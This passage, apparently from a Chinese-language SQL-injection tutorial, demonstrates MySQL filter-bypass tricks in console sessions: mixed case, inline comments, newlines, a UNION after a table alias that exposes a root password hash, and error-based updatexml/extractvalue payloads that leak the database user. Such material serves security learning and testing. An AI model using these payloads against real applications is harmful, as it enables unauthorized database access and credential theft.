1
2
3
4
5
6
7
mysql> SeLECt 1,2;
+---+---+ 搜狗电脑知识技巧
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.02 sec)
2、内联注释
1
2
3
4
5
6
7
mysql> /*!select*//**/1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)
3、换行
1
2
3
4
5
6
7
8
9
10
11
12
mysql> select
-> #abc
-> 1,
-> 2
-> #abc
-> ;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.06 sec)
4、表后面加xxx
1
2
3
4
5
6
7
8
mysql> select user,password from user xxx union select(1),(2);
+------+-------------------------------------------+
| user | password |
+------+-------------------------------------------+
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 1 | 2 |
+------+-------------------------------------------+
2 rows in set (0.08 sec)
5、冷门函数
1
2
3
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c));
ps:后续更新。